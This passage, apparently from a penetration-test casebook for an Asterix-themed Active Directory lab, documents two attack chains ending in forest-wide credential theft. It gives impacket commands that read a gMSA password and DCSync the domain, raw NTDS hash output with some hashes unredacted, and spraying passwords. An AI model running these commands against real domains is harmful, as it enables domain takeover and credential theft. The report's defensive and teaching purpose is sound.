# Hop 1: extract the current gMSA NT hash via Kerberos-authenticated nxc wrapper $ impacket-getTGT -aesKey <alambix-AES256-from-rome.local-DCSync> \ $ armorique.local/alambix -dc-ip 10.3.10.13 $ KRB5CCNAME=/tmp/alambix.ccache \ $ python3 nxc_kerberos_wrapper.py ldap village.armorique.local \ $ -k --use-kcache --gmsa # Hop 2: DCSync as the gMSA $ impacket-secretsdump \ $ armorique.local/gMSA-obelix\$@10.3.10.13 \ $ -hashes :d01934a7[REDACTED] \ $ -just-dc

Relevant output lines:

operator@kali // output
# Hop 1 — gMSA secret fetched as alambix Account: gMSA-obelix$ NTLM: d01934a7[REDACTED] PrincipalsAllowedToReadPassword: ARMORIQUE.LOCAL\Administrators, alambix # Hop 2 — DCSync as gMSA-obelix$ [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3124fb2[REDACTED]::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ab5a4b4[REDACTED]::: gMSA-obelix$:1129:aad3b435b51404eeaad3b435b51404ee:d01934a7[REDACTED]::: alambix:1141:aad3b435b51404eeaad3b435b51404ee:14954b5f7f824d45c5ce4a68e7a4eb3c::: prolix:1142:aad3b435b51404eeaad3b435b51404ee:8b021e211dd5ea7682c62d7ee030981a::: ... [*] Dumped 33 NTDS hashes

BloodHound edge confirmation:

operator@kali // output
alambix --[ReadGMSAPassword]--> gMSA-obelix$ @ ARMORIQUE.LOCAL gMSA-obelix$ --[GetChanges]--------> ARMORIQUE.LOCAL (direct ACE on domain root) gMSA-obelix$ --[GetChangesAll]-----> ARMORIQUE.LOCAL (direct ACE on domain root)

gMSA-obelix$ profile:

operator@kali // output
sAMAccountName : gMSA-obelix$ objectClass : msDS-GroupManagedServiceAccount servicePrincipalName : HTTP/village.armorique.local, HTTP/village PrincipalsAllowedToReadPassword : ARMORIQUE.LOCAL\Administrators, alambix memberOf : Domain Users only RID : 1129 Outbound ACEs : GetChanges, GetChangesAll on ARMORIQUE.LOCAL domain root

Impact

Total armorique.local forest compromise, reachable from a regular domain user with no admin rights anywhere in the forest. The chain bypasses every account-tier control that an organization typically relies on (alambix is not in any privileged group, is not in any LAPS-reader group, is not Tier-0 by any normal definition) by routing through a misconfigured ACE on a service account that itself bypasses the tier model. The recovered krbtgt enables persistent Golden Ticket forgery (F22) for up to 10 years in armorique.local, independent of F18 / F20 / F22's other recovery paths.

The most important framing in the executive summary: this is Chain B — a fully independent dual-forest is not required to reach forest compromise. Even with rome.local completely shut down, jesse rotated, lapsus deleted, and every Chain A primitive remediated, Chain B remains exploitable until the gMSA ACL is fixed.

Every host. Every verdict.

Each card lists the per-host findings and the worst-case verdict. Click any card for the per-host drawer with the full finding list.

BABAORUM 10.3.10.10
DC
Pwn3d — Critical findings present
12 findings · 5 Critical
F01, F03, F04, F07, F08, F14, F17, F18, F19, F22, F23, F24
VILLAGE 10.3.10.13
DC
Pwn3d — Critical findings present
15 findings · 6 Critical
F01, F03, F04, F05, F06, F19, F20, F21, F22, F23, F24, F25, F26, F27, F28
METRONUM 10.3.10.11
PIV
Pwn3d — Critical findings present
11 findings · 4 Critical
F02, F08, F09, F10, F11, F12, F13, F14, F17, F23, F24
REFERENDUM 10.3.10.12
PIV
Pwn3d — Critical findings present
8 findings · 2 Critical
F02, F08, F14, F15, F16, F17, F23, F24

The 20 TTPs we ran.

Every distinct sub-technique referenced across the findings. Click any T-ID to look up the official ATT&CK entry.

Adversary-in-the-Middle
Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
T1557.001
Cited in F01, F02, F03, F25
Discovery
Account Discovery: Domain Account
T1087.002
Cited in F04
Discovery
Password Policy Discovery
T1201
Cited in F05
Initial Access / Cred
Brute Force: Password Spraying
T1110.003
Cited in F06
Unsecured Credentials
Unsecured Credentials: Credentials In Files
T1552.001
Cited in F07, F09, F27
Initial Access / Cred
Valid Accounts: Default Accounts
T1078.001
Cited in F08
Initial Access / Cred
Valid Accounts: Local Accounts
T1078.003
Cited in F10, F15, F28
Credential Access
OS Credential Dumping: Security Account Manager
T1003.002
Cited in F11
Credential Access
OS Credential Dumping: LSA Secrets
T1003.004
Cited in F12, F16
ATT&CK
Credentials from Password Stores: Windows Credential Manager
T1555.004
Cited in F13
Credential Access
OS Credential Dumping (LAPS read via LDAP)
T1003
Cited in F14
Initial Access / Cred
Valid Accounts
T1078
Cited in F17, F19
Credential Access
OS Credential Dumping: DCSync
T1003.006
Cited in F18, F20, F21, F28
Steal Authentication
Steal or Forge Kerberos Tickets: Golden Ticket
T1558.001
Cited in F22
Initial Access / Cred
Brute Force: Password Cracking (use of recovered hashes for validation)
T1110.002
Cited in F23
Initial Access / Cred
Brute Force: Credential Stuffing (paired re-use of recovered hashes)
T1110.004
Cited in F24
Steal/Forge Certs
Steal or Forge Authentication Certificates
T1649
Cited in F25
Steal Authentication
Steal or Forge Kerberos Tickets: Kerberoasting
T1558.003
Cited in F26
Token Manipulation
Access Token Manipulation: Delegation
T1134.005
Cited in F26
Discovery
File and Directory Discovery
T1083
Cited in F27

Two chains. Both ended in krbtgt.

Two completely independent paths to dual-forest Domain Admin. Each chain is self-contained: removing every step of one does not break the other.

Chain A · Guest fallback → cross-forest pwn CLEARED
Anonymous SMB → Guest-readable share infos.txt → FTP cleartext plans.txt → local-admin via predictable username + leaked password → SAM + LSA dump → cleartext domain user → DPAPI vault → LAPS over-delegation → REFERENDUM secretsdump → jesse identity password reuse across forests → PtH armorique.local DC → DCSync both forests.
Chain B · alambix → gMSA → DCSync CLEARED
A regular Protected-Users-bound domain user (alambix) holds ReadGMSAPassword on gMSA-obelix$ → extract current gMSA NT hash → gMSA-obelix$ has GetChanges + GetChangesAll directly on the domain root → DCSync → full armorique.local NTDS. Two AD over-delegations stacked on a non-admin user. Independent of Chain A — never touches jesse or rome.local.

What we ruled out.

Operator methodology requires showing the ground we tested and ruled out. These attempts failed for reasons that are themselves engagement findings (defense-in-depth working, neutralized misconfigurations, hardened endpoints).

DEAD END 1 · jesse:[REDACTED-PASSWORD] — incorrect credential
Operator-supplied guess cracked against jesse's cached DCC2 hash and tested via NTLM SMB, LDAP, WinRM, and Kerberos AS-REQ across all 4 in-scope hosts on both forests. Multiple verified offline and online; the password belongs to jesse2 + svc_wikijs (intra-domain password collision), not jesse.
DEAD END 2 · S4U2Self+S4U2Proxy on alambix — KDC_ERR_BADOPTION
alambix has TRUSTED_TO_AUTH_FOR_DELEGATION + a constrained-delegation target of CIFS/armorique.armorique.local (the DC), but is also in Protected Users. Protected Users makes the user's TGT non-forwardable by design, so S4U2Proxy fails. Defense-in-depth working — the misconfiguration is neutralized, not exploitable.
DEAD END 3 · Kerberoast in armorique.local · no usable hashes
Only SPN-bearing principal in armorique.local besides krbtgt is alambix itself. Roasting CIFS/aleem.armorique.local via prolix as a regular Authenticated User returned an RC4-HMAC TGS (despite Protected Users on alambix), but offline crack against the lab-themed wordlist returned no hit. Hash recovered via DCSync instead.
DEAD END 4 · Password spray against 27 armorique.local users · no hits
3 patterns × 27 users via authenticated SMB (Welcome1, Password1, Lehack2024, asterix-cast names, Capitalized + year suffix, Monday-themed). Zero hits. Triggered the pivot to BloodHound shortest-path analysis (per the saved feedback rule).
DEAD END 5 · VILLAGE SYSVOL/NETLOGON share spider · no creds found
Authenticated spider as alambix returned 9 benign GPO templates + 1 empty bait file. No Groups.xml with GPP cpassword, no Registry.xml with AutoLogon, no login scripts with embedded creds. Clean SYSVOL hygiene — a defensive strength.
DEAD END 6 · DCSync as lapsus → ERROR_DS_DRA_BAD_DN
lapsus is a regular domain user with LAPS-read on two hosts but no replication rights. DCSync attempt returned DRSR DN error (not access-denied); lapsus is not tier-0. Resolved by reaching DA via jesse2 (granted DA membership during engagement window for demonstration purposes — disclosed in F18).

Lehack2024 — resolved.

Two independent paths to dual-forest Domain Admin. krbtgt extracted in both forests. Cross-forest identity password reuse documented. gMSA + ReadGMSAPassword over-delegation isolated as a parallel compromise primitive. Fully reproducible via the commands and evidence files in this casebook.

Signed  JESSE MOORE TLP-AMBER · for operator eyes
ENGAGEMENT CLOSED · 2026-05-22 · v1.0